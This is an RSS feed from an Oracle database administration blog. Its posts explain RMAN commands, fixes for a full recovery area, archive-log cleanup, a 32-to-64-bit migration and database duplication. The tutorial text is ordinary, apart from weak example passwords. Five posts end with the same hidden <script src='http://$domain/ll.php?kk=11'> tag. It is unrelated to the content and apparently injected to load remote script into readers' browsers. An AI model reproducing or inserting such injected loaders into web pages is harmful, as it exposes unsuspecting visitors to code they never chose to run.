<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Oracle Database Administration Blog &#187; RMAN</title>
	<atom:link href="http://www.bestremotedba.com/topics/database-administration/rman/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.bestremotedba.com</link>
	<description>Specially Created for Remote DBAs and Junior DBAs</description>
	<lastBuildDate>Fri, 30 Dec 2011 05:43:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>RMAN Show Commands</title>
		<link>http://www.bestremotedba.com/rman-show-commands/</link>
		<comments>http://www.bestremotedba.com/rman-show-commands/#comments</comments>
		<pubDate>Wed, 28 Sep 2011 02:57:32 +0000</pubDate>
		<dc:creator>aarthimudhalvan</dc:creator>
				<category><![CDATA[RMAN]]></category>
		<category><![CDATA[RMAN Show Command]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=966</guid>
		<description><![CDATA[RMAN Show Command]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>The <strong>SHOW</strong> command is used to display the values of current RMAN configuration settings.</p>
<p><strong><span style="color: #0000ff;">RMAN&gt;</span> show <span style="color: #ff0000;">all</span>;</strong></p>
<blockquote><p>Shows all parameters.</p></blockquote>
<p><strong><span style="color: #0000ff;">RMAN&gt;</span> show <span style="color: #ff0000;">archivelog backup copies</span>;</strong></p>
<blockquote><p> Shows the number of archivelog backup copies.</p></blockquote>
<p><strong><span style="color: #0000ff;">RMAN&gt;</span> show <span style="color: #ff0000;">archivelog deletion policy</span>;</strong></p>
<blockquote><p>Shows the archivelog deletion policy.</p></blockquote>
<p><strong><span style="color: #0000ff;">RMAN&gt;</span> show <span style="color: #ff0000;">auxname</span>;</strong></p>
<blockquote><p>Shows the auxiliary database information.</p></blockquote>
<p><strong><span style="color: #0000ff;">RMAN&gt;</span> show <span style="color: #ff0000;">backup optimization</span>;</strong></p>
<blockquote><p>Shows whether optimization is on or off.</p></blockquote>
<p><strong><span style="color: #0000ff;">RMAN&gt;</span> show  <span style="color: #ff0000;">auxiliary channel</span>;</strong></p>
<blockquote><p>Shows how the normal channel and auxiliary hannel are configured.</p></blockquote>
<p><strong><span style="color: #0000ff;">RMAN&gt;</span> show <span style="color: #ff0000;">controlfile autobackup</span>;</strong></p>
<blockquote><p>Shows whether autobackup is on or off.</p></blockquote>
<p><strong><span style="color: #0000ff;">RMAN&gt;</span> show <span style="color: #ff0000;">controlfile autobackup format</span>;</strong></p>
<blockquote><p>Shows the format of the autobackup control file.</p></blockquote>
<p><strong><span style="color: #0000ff;">RMAN&gt;</span> show <span style="color: #ff0000;">datafile backup copies</span>;</strong></p>
<blockquote><p>Shows the number of datafile backup copies being ept.</p></blockquote>
<p><strong><span style="color: #0000ff;">RMAN&gt;</span> show <span style="color: #ff0000;">default device type</span>;</strong></p>
<blockquote><p>Shows the default type disk or tape.</p></blockquote>
<p><strong><span style="color: #0000ff;">RMAN&gt;</span> show <span style="color: #ff0000;">encryption algorithm</span>;</strong></p>
<blockquote><p>Shows the encryption algorithm currently in use.</p></blockquote>
<p><strong><span style="color: #0000ff;">RMAN&gt;</span> show <span style="color: #ff0000;">encryption for database</span>;</strong></p>
<blockquote><p> Shows the encryption for the database.</p></blockquote>
<p><strong><span style="color: #0000ff;">RMAN&gt;</span> show<span style="color: #ff0000;"> encryption for tablespace</span>;</strong></p>
<blockquote><p> Shows the encryption for the tablespace.</p></blockquote>
<p><strong><span style="color: #0000ff;">RMAN&gt;</span> show <span style="color: #ff0000;">exclude</span>;</strong></p>
<blockquote><p> Shows the tablespaces excluded from the backup.</p></blockquote>
<p><strong><span style="color: #0000ff;">RMAN&gt;</span> show <span style="color: #ff0000;">maxsetsize</span>;</strong></p>
<blockquote><p> Shows the maximum size for backup sets. The default value is unlimited.</p></blockquote>
<p><strong><span style="color: #0000ff;">RMAN&gt;</span> show <span style="color: #ff0000;">retention policy</span>;</strong></p>
<blockquote><p> Shows the policy for datafile and control file backups and copies that RMAN marks as obsolete.</p></blockquote>
<p><strong><span style="color: #0000ff;">RMAN&gt;</span> show <span style="color: #ff0000;">snapshot controlfile name</span>;</strong></p>
<blockquote><p> Shows the snapshot control filename.</p></blockquote>
<p><strong><span style="color: #ff0000;">Note:</span> </strong>You can see any <em>nondefault RMAN configured settings</em> in the<strong> <span style="color: #0000ff;">V$RMAN_CONFIGURATION</span> </strong>database view.</p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/rman-show-commands/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ORA-19815: WARNING: db_recovery_file_dest_size of bytes is 100.00% used, and has 0 remaining bytes available</title>
		<link>http://www.bestremotedba.com/ora-19815-warning-db_recovery_file_dest_size-of-bytes-is-100-00-used-and-has-0-remaining-bytes-available/</link>
		<comments>http://www.bestremotedba.com/ora-19815-warning-db_recovery_file_dest_size-of-bytes-is-100-00-used-and-has-0-remaining-bytes-available/#comments</comments>
		<pubDate>Thu, 17 Feb 2011 22:19:35 +0000</pubDate>
		<dc:creator>mudhalvan</dc:creator>
				<category><![CDATA[Database Administration]]></category>
		<category><![CDATA[Database Maintenance]]></category>
		<category><![CDATA[RMAN]]></category>
		<category><![CDATA[Flash Recovery Area Full]]></category>
		<category><![CDATA[How to Free space when FRA is Full]]></category>
		<category><![CDATA[ORA-19815]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=892</guid>
		<description><![CDATA[ORA-19815: WARNING: db_recovery_file_dest_size of bytes is 100.00% used, and has 0 remaining bytes available
]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><div id="_mcePaste">ORA-19815: WARNING: db_recovery_file_dest_size of bytes is 100.00% used, and has 0 remaining bytes available</div>
<div id="_mcePaste">Why the above error messages</div>
<div id="_mcePaste">1. Flash Recovery Area Full</div>
<div id="_mcePaste">2. How to Free space when FRA is Full</div>
<div id="_mcePaste">3. May be your disk will have free space but still you get the above error messages due to manually deleting archive logs in FRA.</div>
<div id="_mcePaste">Solution:</div>
<div id="_mcePaste">SQL&gt; select * from v$flash_recovery_area_usage;</div>
<div id="_mcePaste">SQL&gt; select * from v$recovery_file_dest;</div>
<div id="_mcePaste">Step 1. Delete unwanted archive log files from disk ( rm/del)</div>
<div id="_mcePaste">Step 2. Connect to RMAN (rman target / nocatalog)</div>
<div id="_mcePaste">Step 3. rman&gt; crosscheck archivelog all;</div>
<div id="_mcePaste">The above command will marks the control file that the archives have been deleted.</div>
<div id="_mcePaste">Step 4. rman&gt; delete expired archivelog all;</div>
<div id="_mcePaste">The above command will deletes the log entries identified above.</div>
<p>ORA-19815: WARNING: db_recovery_file_dest_size of bytes is 100.00% used, and has 0 remaining bytes availableWhy the above error messages1. Flash Recovery Area Full2. How to Free space when FRA is Full3. May be your disk will have free space but still you get the above error messages due to manually deleting archive logs in FRA.<br />
Solution:<br />
SQL&gt; select * from v$flash_recovery_area_usage;<br />
SQL&gt; select * from v$recovery_file_dest;<br />
Step 1. Delete unwanted archive log files from disk ( rm/del)</p>
<p>Step 2. Connect to RMAN (rman target / nocatalog)</p>
<p>Step 3. rman&gt; crosscheck archivelog all;</p>
<p>The above command will marks the control file that the archives have been deleted.</p>
<p>Step 4. rman&gt; delete expired archivelog all;</p>
<p>The above command will deletes the log entries identified above.<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/ora-19815-warning-db_recovery_file_dest_size-of-bytes-is-100-00-used-and-has-0-remaining-bytes-available/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to delete all archive logs in ASM</title>
		<link>http://www.bestremotedba.com/how-to-delete-all-archive-logs-in-asm/</link>
		<comments>http://www.bestremotedba.com/how-to-delete-all-archive-logs-in-asm/#comments</comments>
		<pubDate>Thu, 16 Sep 2010 17:43:47 +0000</pubDate>
		<dc:creator>guestdba</dc:creator>
				<category><![CDATA[RMAN]]></category>
		<category><![CDATA[delete all archive logs in ASM]]></category>
		<category><![CDATA[delete archive logs]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=803</guid>
		<description><![CDATA[delete all archive logs in ASM]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>Best option is using RMAN with nocatalog and remove the old archive logs if not required</p>
<p>$ rman nocatalog /</p>
<p>RMAN&gt;delete archivelog all completed before &#8216;sysdate -3&#8242;;<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/how-to-delete-all-archive-logs-in-asm/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>RMAN Restore Preview</title>
		<link>http://www.bestremotedba.com/rman-restore-preview/</link>
		<comments>http://www.bestremotedba.com/rman-restore-preview/#comments</comments>
		<pubDate>Fri, 21 May 2010 03:17:55 +0000</pubDate>
		<dc:creator>aarthimudhalvan</dc:creator>
				<category><![CDATA[RMAN]]></category>
		<category><![CDATA[RMAN Preview command]]></category>
		<category><![CDATA[RMAN Restore Preview]]></category>
		<category><![CDATA[RMAN Restore Preview command]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=727</guid>
		<description><![CDATA[The PREVIEW option of the RESTORE command allows you to identify the backups required to complete a specific restore operation. The output generated by the command is in the same format as the LIST command. In addition the PREVIEW SUMMARY command can be used to produce a summary report with the same format as the [...]]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>The PREVIEW option of the RESTORE command allows you to identify the backups required to complete a specific restore operation. The output generated by the command is in the same format as the LIST command. In addition the PREVIEW SUMMARY command can be used to produce a summary report with the same format as the LIST SUMMARY command. The following examples show how these commands are used:</p>
<blockquote><p>
# Spool output to a log file<br />
SPOOL LOG TO c:\oracle\rmancmd\restorepreview.lst;</p>
<p># Show what files will be used to restore the SYSTEM tablespace&#8217;s datafile<br />
RESTORE DATAFILE 2 PREVIEW;</p>
<p># Show what files will be used to restore a specific tablespace<br />
RESTORE TABLESPACE users PREVIEW;</p>
<p># Show a summary for a full database restore<br />
RESTORE DATABASE PREVIEW SUMMARY;</p>
<p># Close the log file<br />
SPOOL LOG OFF;</p></blockquote>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/rman-restore-preview/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Migrate from 32 bit to 64 bit using RMAN</title>
		<link>http://www.bestremotedba.com/migrate-from-32-bit-to-64-bit-using-rman/</link>
		<comments>http://www.bestremotedba.com/migrate-from-32-bit-to-64-bit-using-rman/#comments</comments>
		<pubDate>Mon, 08 Mar 2010 03:07:56 +0000</pubDate>
		<dc:creator>mudhalvan</dc:creator>
				<category><![CDATA[RMAN]]></category>
		<category><![CDATA[Migrate from 32 bit to 64 bit using RMAN]]></category>
		<category><![CDATA[Using RMAN Migrate from 32 bit to 64 bit]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=588</guid>
		<description><![CDATA[Migrate from 32 bit to 64 bit using RMAN]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>Migrate from 32 bit to 64 bit using RMAN</p>
<p>I have Checked it on 10g and confirmed it is working. You can use it from 9i to 11g.</p>
<p>Step 1 &#8211; Take a Backup on Source 32 Bit Server:<br />
			Create a full backup of the database including all archivelogs:<br />
				RMAN> run  {<br />
				allocate channel c1 type disk;<br />
				allocate channel c2 type disk;<br />
				backup database plus archivelog;<br />
				backup current controlfile;  }<br />
Step 2 : Preparing target 64 bit server:<br />
		Install the OS and Oracle Software.<br />
Step 3 : Copy RMAN backup files from Source Server:<br />
		Use simple copy command to copy the rman backup files from source server to target server.<br />
Step 4 : Create the pfile or copy the pfile from source server:<br />
		Create the pfile or copy the pfile from source server.<br />
Step 5 : Bring up the database<br />
		Startup nomount the new instance.<br />
		Connect to rman and set the dbid:<br />
			$ rman target / nocatalog RMAN> set dbid=<dbid from the 32 server>;<br />
		Restore the controlfile:<br />
			RMAN> restore controlfile from /u01/backup_32bit/<backup_piece_name>;<br />
			RMAN> alter database mount;<br />
			RMAN> restore database;<br />
		Identify the archivelog till you want to do the recovery and check if you have all the backups you need to do it and run:<br />
			RMAN> run {<br />
				set until sequence xxxx;<br />
				recover database;<br />
						}<br />
			RMAN> exit<br />
Step 6 : Migrate to 64Bit:<br />
			SQL> recover database until cancel using backup controlfile;<br />
			cancel<br />
			SQL> alter database open resetlogs migrate;<br />
			SQL> @$ORACLE_HOME/rdbms/admin/utlirp.sql<br />
			SQL> @$ORACLE_HOME/rdbms/admin/utlrp.sql<br />
			SQL> shutdown immediate;<br />
			SQL> startup<br />
<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/migrate-from-32-bit-to-64-bit-using-rman/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>RMAN &#8211; Recatalog &#8211; Flash Recovery Area</title>
		<link>http://www.bestremotedba.com/rman-recatalog-flash-recovery-area/</link>
		<comments>http://www.bestremotedba.com/rman-recatalog-flash-recovery-area/#comments</comments>
		<pubDate>Thu, 28 Jan 2010 00:38:59 +0000</pubDate>
		<dc:creator>mudhalvan</dc:creator>
				<category><![CDATA[RMAN]]></category>
		<category><![CDATA[RMAN Recatalog Flash Recovery Area]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=535</guid>
		<description><![CDATA[RMAN - Recatalog - Flash Recovery Area]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>What the command is to recatalog all of the files in the flash recovery area back into to the RMAN catalog</p>
<p>CATALOG RECOVERY AREA;<br />
<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/rman-recatalog-flash-recovery-area/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>RMAN Notes</title>
		<link>http://www.bestremotedba.com/rman-notes/</link>
		<comments>http://www.bestremotedba.com/rman-notes/#comments</comments>
		<pubDate>Fri, 11 Dec 2009 05:30:46 +0000</pubDate>
		<dc:creator>aarthimudhalvan</dc:creator>
				<category><![CDATA[RMAN]]></category>
		<category><![CDATA[RMAN catalog]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=438</guid>
		<description><![CDATA[1.1. Where should the catalog be created? The recovery catalog to be used by rman should be created in a seperate database other than the target database. The reason been that the target database will be shutdown while datafiles are restored. 1.2. How do I create a catalog for rman? First create the user rman. [...]]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p><Strong> 1.1. Where should the catalog be created? </Strong></p>
<p> The recovery catalog to be used by rman should be created in a seperate database other than the target database. The reason been that the target database will be shutdown while datafiles are restored.</p>
<p><Strong> 1.2. How do I create a catalog for rman? </Strong></p>
<p> First create the user rman. </p>
<p>CREATE USER rman IDENTIFIED BY rman<br />
TEMPORARY TABLESPACE temp<br />
DEFAULT TABLESPACE tools<br />
QUOTA UNLIMITED ON tools;</p>
<p>GRANT connect, resource, recovery_catalog_owner TO rman;<br />
exit</p>
<p>Then create the recovery catalog:- </p>
<p>rman catalog=rman/rman<br />
create catalog tablespace tools;<br />
exit</p>
<p>Then register the database </p>
<p>oracle@debian:~$ rman target=/ catalog=rman/rman@newdb</p>
<p>Recovery Manager: Release 10.1.0.2.0 &#8211; Production</p>
<p>Copyright (c) 1995, 2004, Oracle.  All rights reserved.</p>
<p>connected to target database: TEST (DBID=1843143191)<br />
connected to recovery catalog database</p>
<p>RMAN> register database;</p>
<p>database registered in recovery catalog<br />
starting full resync of recovery catalog<br />
full resync complete</p>
<p> Note<br />
If you try rman catalog=rman/rman and try to register the database it will not work.</p>
<p> Note<br />
We have 2 Databases here 1 is newdb which is solely for catalog and the other is TEST which is our database on which we want to perform all rman operations.</p>
<p><Strong> 1.3. How many times does oracle ask before dropping a catalog? </Strong></p>
<p> The default is two times one for the actual command, the other for confirmation.</p>
<p><Strong> 1.4. How to view the current defaults for the database. </Strong></p>
<p> rman> show all; </p>
<p>RMAN> show all<br />
2> ;</p>
<p>RMAN configuration parameters are:<br />
CONFIGURE RETENTION POLICY TO RECOVERY WINDOW OF 3 DAYS;<br />
CONFIGURE BACKUP OPTIMIZATION OFF; # default<br />
CONFIGURE DEFAULT DEVICE TYPE TO DISK; # default<br />
CONFIGURE CONTROLFILE AUTOBACKUP OFF; # default<br />
CONFIGURE CONTROLFILE AUTOBACKUP FORMAT FOR DEVICE TYPE DISK TO &#8216;%F&#8217;; # default<br />
CONFIGURE DEVICE TYPE DISK PARALLELISM 1 BACKUP TYPE TO BACKUPSET; # default<br />
CONFIGURE DATAFILE BACKUP COPIES FOR DEVICE TYPE DISK TO 1; # default<br />
CONFIGURE ARCHIVELOG BACKUP COPIES FOR DEVICE TYPE DISK TO 1; # default<br />
CONFIGURE MAXSETSIZE TO UNLIMITED; # default<br />
CONFIGURE ARCHIVELOG DELETION POLICY TO NONE; # default<br />
CONFIGURE SNAPSHOT CONTROLFILE NAME TO &#8216;/u02/app/oracle/product/10.1.0/db_1/dbs/snapcf_test.f&#8217;; # default</p>
<p><Strong> 1.5. Backup the database. </Strong></p>
<p>RMAN> run{<br />
configure retention policy to recovery window of 2 days;<br />
backup database plus archivelog;<br />
delete noprompt obsolete;<br />
}<br />
tarting backup at 04-JUL-05<br />
current log archived<br />
allocated channel: ORA_DISK_1<br />
channel ORA_DISK_1: sid=256 devtype=DISK<br />
channel ORA_DISK_1: starting archive log backupset<br />
&#8230;&#8230;&#8230;&#8230;&#8230;</p>
<p><Strong> 1.6. How to resolve the ora-19804 error</Strong></p>
<p> Basically this error is because of flash recovery area been full. One way to solve is to increase the space available for flashback database. </p>
<p>sql>ALTER SYSTEM SET DB_RECOVERY_FILE_DEST_SIZE=5G; &#8211;It can be set to K,M or G.<br />
rman>backup database;<br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.<br />
channel ORA_DISK_1: specifying datafile(s) in backupset<br />
including current controlfile in backupset<br />
including current SPFILE in backupset<br />
channel ORA_DISK_1: starting piece 1 at 04-JUL-05<br />
channel ORA_DISK_1: finished piece 1 at 04-JUL-05<br />
piece handle=/u02/app/oracle/flash_recovery_area/TEST/backupset/2005_07_04/o1_mf_ncsnf_TAG20050704T205840_1dmy15cr_.bkp comment=NONE<br />
channel ORA_DISK_1: backup set complete, elapsed time: 00:00:03<br />
Finished backup at 04-JUL-05</p>
<p>Oracle Flashback </p>
<p>After taking a back up resync the database. </p>
<p>Restoring the whole database. </p>
<p>run {<br />
  shutdown immediate;<br />
  startup mount;<br />
  restore database;<br />
  recover database;<br />
  alter database open;<br />
}</p>
<p><Strong> 1.7. What are the various reports available with RMAN</Strong></p>
<p> rman>list backup; rman> list archive; </p>
<p><Strong> 1.8. What does backup incremental level=0 database do? </Strong></p>
<p> Backup database level=0 is a full backup of the database. rman>>backup incremental level=0 database; </p>
<p>You can also use backup full database; which means the same thing as level=0; </p>
<p><Strong> 1.9. What is the difference between DELETE INPUT and DELETE ALL command in backup? </Strong></p>
<p> Generally speaking LOG_ARCHIVE_DEST_n points to two disk drive locations where we archive the files, when a command is issued through rman to backup archivelogs it uses one of the location to backup the data. When we specify delete input the location which was backedup will get deleted, if we specify delete all all log_archive_dest_n will get deleted. </p>
<p>DELETE all applies only to archived logs. delete expired archivelog all; </p>
<p><Strong> Chapter 2. Recovery</Strong></p>
<p>Recovery involves placing the datafiles in the appropriate state for the type of recovery you are performing. If recovering all datafiles, then mount the database, if recovering a single tablespace or datafile then you can keep the database open and take the tablespace or datafile offline. Perform the required recovery and put them back online. </p>
<p>Put the commands in a rman script .rcv file such as myrman.rcv </p>
<p>  run<br />
{<br />
  #  shutdown immediate; # use abort if this fails<br />
  startup mount;<br />
  #SET UNTIL TIME &#8216;Nov 15 2001 09:00:00&#8242;;<br />
  # SET UNTIL SCN 1000;       # alternatively, you can specify SCN<br />
   SET UNTIL SEQUENCE 9923;  # alternatively, you can specify log sequence number<br />
  restore database;<br />
  recover database;<br />
  alter database open;<br />
}</p>
<p>Run the myrman.rcv file as :- rman target / @myrman.rcv </p>
<p>After successful restore &#038; recovery immediately backup your database, because the database is in a new incarnation. </p>
<p>ALTER DATABASE open resetlogs; &#8211;command creates a new incarnation of the database &#8212; database with a new stream of sequence numbers starting with sequence 1. </p>
<p>Before running RESETLOGS it is a good practice to open the database in read only mode and examining the data contents. </p>
<p><Strong> 2.1. Simulating media failure. </Strong></p>
<p>2.1.1. How to simulate media failure and recover a tablespace in the database ?<br />
2.1.2. What is the difference between alter database recover and sql*plus recover command?</p>
<p><Strong> 2.1.1. How to simulate media failure and recover a tablespace in the database ? </Strong></p>
<p>Firstly create the table in the required tablespace. </p>
<p>CREATE TABLE mytest ( id number(10));</p>
<p>Then insert into the table mytest values(100); execute the insert statement a couple of times but do not commit the results. </p>
<p>Take the tablespace offline, this is possible only if the database is in archivelog mode. </p>
<p>now commit the transaction. by issuing commit. </p>
<p>Now try to bring the tablespace online, at this point you will get the error that datafile 4 needs media recovery. </p>
<p>issue the following command to recover the tablespace, please note that the database itself can remain open. </p>
<p>SQL>recover tablespace users;<br />
media recovery completed. </p>
<p>now bring the tablespace online. </p>
<p>SQL>alter tablespace users online;</p>
<p><Strong> 2.1.2. What is the difference between alter database recover and sql*plus recover command? </Strong></p>
<p> ALTER DATABASE recover is useful when you as a user want to control the recovery. SQL*PLUS recover command is useful when we prefer automated recovery.</p>
<p><Strong> Chapter 3. Duplicate database with control file</Strong></p>
<p><Strong> What are the steps required to duplicate a database with control file? </Strong></p>
<p>Copy initSID.ora to the new initXXX.ora file. i.e., </p>
<p>cp $ORACLE_HOME/dbs/inittest.ora $ORACLE_HOME/dbs/initDUP.ora</p>
<p>Edit the parameters that are specific to location and instance:- </p>
<p>    db_name                   = dup<br />
    instance_name             = dup<br />
    control_files             = change the location to point to dup<br />
    background_dump_dest      = change the location to point to dup/bdump<br />
    core_dump_dest            = change the location to point to dup/cdump<br />
    user_dump_dest            = change the location to point to dup/udump<br />
    log_archive_dest_1        = dup/archive<br />
    db_file_name_convert      = (test, dup)<br />
    log_file_name_convert     = (test, dup)<br />
    remote_login_passwordfile = exclusive</p>
<p>Actual settings :- </p>
<p>*.background_dump_dest=&#8217;/u02/app/oracle/admin/DUP/bdump&#8217;<br />
*.compatible=&#8217;10.1.0.2.0&#8242;<br />
*.control_files=&#8217;/u02/app/oracle/oradata/DUP/control01.ctl&#8217;,'/u02/app/oracle/oradata/DUP/control02.ctl&#8217;,'/u02/app/oracle/oradata/DUP/control03.ctl&#8217;<br />
*.core_dump_dest=&#8217;/u02/app/oracle/admin/DUP/cdump&#8217;<br />
*.db_block_size=8192<br />
*.db_cache_size=25165824<br />
*.db_domain=&#8221;<br />
*.db_file_multiblock_read_count=16<br />
*.db_name=&#8217;DUP&#8217;<br />
*.db_recovery_file_dest=&#8217;/u02/app/oracle/flash_recovery_area&#8217;<br />
*.db_recovery_file_dest_size=2147483648<br />
*.dispatchers=&#8217;(PROTOCOL=TCP) (SERVICE=DUPXDB)&#8217;<br />
*.java_pool_size=50331648<br />
*.job_queue_processes=10<br />
*.large_pool_size=8388608<br />
*.log_archive_dest_1=&#8217;LOCATION=/u02/app/oracle/oradata/payroll MANDATORY&#8217;<br />
*.open_cursors=300<br />
*.pga_aggregate_target=25165824<br />
*.processes=250<br />
*.shared_pool_size=99614720<br />
*.sort_area_size=65536<br />
*.undo_management=&#8217;AUTO&#8217;<br />
*.undo_tablespace=&#8217;UNDOTBS1&#8242;<br />
*.user_dump_dest=&#8217;/u02/app/oracle/admin/DUP/udump&#8217;<br />
*.remote_login_passwordfile=exclusive<br />
*.db_file_name_convert = (test, dup)<br />
*.log_file_name_convert =(test,dup)</p>
<p>Make the directories for the dump destination:- </p>
<p>oracle@debian:/u02/app/oracle/admin/DUP$ mkdir bdump<br />
oracle@debian:/u02/app/oracle/admin/DUP$ mkdir cdump<br />
oracle@debian:/u02/app/oracle/admin/DUP$ mkdir udump</p>
<p>Make a directory to hold control files, datafiles and such:- </p>
<p>oracle@debian:/u02/app/oracle/oradata/PRD$ cd ..<br />
oracle@debian:/u02/app/oracle/oradata$ mkdir DUP</p>
<p>Ensure that the oracle sid is pointing to the right Database. Make an ora password file so that other users can connect too. </p>
<p>export ORACLE_SID=DUP<br />
$orapwd file=$ORACLE_HOME/dbs/orapw$ORACLE_SID password=easypass<br />
sqlplus / as sysdba<br />
sql>startup nomount;</p>
<p>oracle@debian:/u02/app/oracle/product/10.1.0/db_1/dbs$ sqlplus / as sysdba;</p>
<p>SQL*Plus: Release 10.1.0.2.0 &#8211; Production on Wed Aug 24 21:05:26 2005</p>
<p>Copyright (c) 1982, 2004, Oracle.  All rights reserved.</p>
<p>Connected to an idle instance.</p>
<p>SQL> startup nomount;<br />
ORACLE instance started.</p>
<p>Total System Global Area  188743680 bytes<br />
Fixed Size                   778036 bytes<br />
Variable Size             162537676 bytes<br />
Database Buffers           25165824 bytes<br />
Redo Buffers                 262144 bytes<br />
SQL></p>
<p>Check net8 connectivity sqlplus sys/easypass@dup if that goes through successfully then exit. The idea is to check for sql*net connectivity. </p>
<p>if you get ORA-12154: TNS:could not resolve the connect identifier specified then more work needs to be done.<br />
DUP =<br />
  (DESCRIPTION =<br />
  (ADDRESS = (PROTOCOL = TCP)(HOST = debian)(PORT = 1521))<br />
  (CONNECT_DATA =<br />
  (SERVICE_NAME = dup)<br />
  )</p>
<p>$tnsping dup<br />
Used TNSNAMES adapter to resolve the alias<br />
Attempting to contact (DESCRIPTION = (ADDRESS = (PROTOCOL = TCP)(HOST = debian)(PORT = 1521)) (CONNECT_DATA = (SERVICE_NAME = dup)))<br />
OK (0 msec)</p>
<p>Even with this if you are getting ORA-12528: TNS:listener: all appropriate instances are blocking new connections then we have to connect to the auxiliary (the database to be duplicated as / ) and the target database ( source ) with user/pass@test<br />
start duplicating the database. export ORACLE_SID=DUP </p>
<p>rman target sys/easypass@test auxiliary /<br />
run{<br />
allocate auxiliary channel ch1 type disk;<br />
duplicate target database to dup;<br />
}</p>
<p>oracle@debian:/u02/app/oracle/product/10.1.0/db_1/network/admin$ rman target sys/kernel@test auxiliary /</p>
<p>Recovery Manager: Release 10.1.0.2.0 &#8211; Production</p>
<p>Copyright (c) 1995, 2004, Oracle.  All rights reserved.</p>
<p>RMAN-00571: ===========================================================<br />
RMAN-00569: =============== ERROR MESSAGE STACK FOLLOWS ===============<br />
RMAN-00571: ===========================================================<br />
RMAN-00554: initialization of internal recovery manager package failed<br />
RMAN-04005: error from target database:<br />
ORA-01017: invalid username/password; logon denied</p>
<p>The work around to this is to create a user with dba privileges and connect through that users id . </p>
<p>$export ORACLE_SID=test<br />
SQL>grant sysdba to mhg;</p>
<p>oracle@debian:/u02/app/oracle/product/10.1.0/db_1/network/admin$ rman target mhg/mhg@test auxiliary /</p>
<p>Recovery Manager: Release 10.1.0.2.0 &#8211; Production</p>
<p>Copyright (c) 1995, 2004, Oracle.  All rights reserved.</p>
<p>connected to target database: TEST (DBID=1843143191)<br />
connected to auxiliary database: DUP (not mounted)</p>
<p>oracle@debian:~$ rman target mhg/mhg@test auxiliary / @run.rcv</p>
<p>Recovery Manager: Release 10.1.0.2.0 &#8211; Production</p>
<p>Copyright (c) 1995, 2004, Oracle.  All rights reserved.</p>
<p>connected to target database: TEST (DBID=1843143191)<br />
connected to auxiliary database: DUP (not mounted)</p>
<p>RMAN> run{<br />
2> allocate auxiliary channel c1 type disk;<br />
3> duplicate target database to dup;<br />
4> }<br />
5><br />
using target database controlfile instead of recovery catalog<br />
allocated channel: c1<br />
channel c1: sid=270 devtype=DISK</p>
<p>Starting Duplicate Db at 24-AUG-05<br />
released channel: c1<br />
RMAN-00571: ===========================================================<br />
RMAN-00569: =============== ERROR MESSAGE STACK FOLLOWS ===============<br />
RMAN-00571: ===========================================================<br />
RMAN-03002: failure of Duplicate Db command at 08/24/2005 21:13:09<br />
RMAN-05501: aborting duplication of target database<br />
RMAN-05001: auxiliary filename /u02/app/oracle/oradata/test/users01.dbf conflicts with a file used by the target database</p>
<p>This error is primarily because the files of the test database are already present, this is a bad thing we have to use db_file_name_convert and long_file_name_convert to overcome these errors. </p>
<p>This is the final run output:- </p>
<p>oracle@debian:~$ rman target mhg/mhg@test auxiliary /</p>
<p>Recovery Manager: Release 10.1.0.2.0 &#8211; Production</p>
